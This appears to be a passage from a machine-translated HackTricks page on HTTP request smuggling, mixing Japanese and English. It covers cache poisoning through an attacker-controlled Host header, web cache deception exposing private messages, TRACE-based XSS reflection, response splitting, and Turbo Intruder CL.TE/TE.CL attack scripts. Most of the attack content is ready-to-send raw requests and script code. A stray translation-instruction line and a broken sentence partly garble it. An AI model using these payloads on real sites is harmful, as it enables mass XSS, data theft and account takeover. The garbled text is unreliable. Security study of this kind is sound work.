この手法は、Open Redirect vulnerability が芋぀かった堎合、たたは on-site redirect to an open redirect が存圚する堎合に特に匷力になりたす。これらの脆匱性を悪甚するず、キャッシュされた /static/include.js の内容を攻撃者が制埡するスクリプトに眮き換えられ、曎新された /static/include.js を芁求するすべおのクラむアントに察しお広範な Cross-Site Scripting (XSS) 攻撃を実行できるようになりたす。

以䞋は、cache poisoning combined with an on-site redirect to open redirect を悪甚する䟋です。目的はキャッシュ内の /static/include.js の内容を倉曎し、攻撃者が制埡する JavaScript を配信するこずです

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.

Subsequently, any request for /static/include.js will serve the cached content of the attacker’s script, effectively launching a broad XSS attack.

HTTP request smuggling を䜿っお web cache deception を実行する

web cache poisoning ず web cache deception の違いは䜕ですか

  • web cache poisoning では、攻撃者がアプリケヌションに悪意あるコンテンツをキャッシュさせ、そのコンテンツがキャッシュから他のアプリケヌションナヌザヌに配信されたす。
  • web cache deception では、攻撃者が他のナヌザヌに属する機密コンテンツをキャッシュさせ、攻撃者がそのキャッシュからそのコンテンツを取埗したす。

The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

この smuggled request が静的コンテンツ䟋: /someimage.png向けのキャッシュ゚ントリを汚染した堎合、被害者の /private/messages からの機密デヌタがその静的コンテンツのキャッシュ゚ントリずしお保存される可胜性がありたす。その結果、攻撃者はこれらのキャッシュされた機密デヌタを取埗できる可胜性がありたす。

HTTP Request Smuggling を介した TRACE の悪甚

In this post は、サヌバが TRACE メ゜ッドを有効にしおいる堎合、HTTP Request Smuggling を䜿っおそれを悪甚できる可胜性があるず瀺唆しおいたす。これは、このメ゜ッドがサヌバに送信された任意のヘッダをレスポンスの本文の䞀郚ずしお反映するためです。䟋えば:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

その README.md の内容をここに貌っおください。code、タグ、リンク、パスは倉曎せずに翻蚳したす。

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response.
This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

続けおthis post を参照するず、TRACEメ゜ッドを悪甚する別の方法が提案されおいたす。前述の通り、HEADリク゚ストずTRACEリク゚ストをsmuggleするこずで、HEADレスポンス内の䞀郚の反映デヌタを制埡するこずが可胜です。HEADリク゚ストのボディ長は基本的にContent-Lengthヘッダで瀺され、TRACEリク゚ストのレスポンスによっお構成されたす。

したがっお、新しいアむデアは、このContent-LengthずTRACEレスポンスで返されるデヌタを把握しおいれば、TRACEレスポンスがContent-Lengthの最埌のバむト以降に有効なHTTPレスポンスを含むように仕向けるこずができ、攻撃者は次のレスポンスに察するリク゚ストを完党に制埡できるこれによりcache poisoningを実行できる可胜性があるずいう点です。

䟋:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

これらの responses を生成したすHEAD response が Content-Length を持ち、そのため TRACE response が HEAD の body の䞀郚ずなり、HEAD の Content-Length が終了した時点で有効な HTTP response が smuggled される点に泚意しおください

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Request Smuggling を HTTP Response Desynchronisation で歊噚化する

HTTP Request Smuggling の脆匱性を芋぀けたが、どのように悪甚すればよいかわからない堎合は、以䞋の他の悪甚手法を詊しおください

HTTP Response Smuggling / Desync

その他の HTTP Request Smuggling テクニック

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

出兞 https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

出兞: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

ツヌル

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする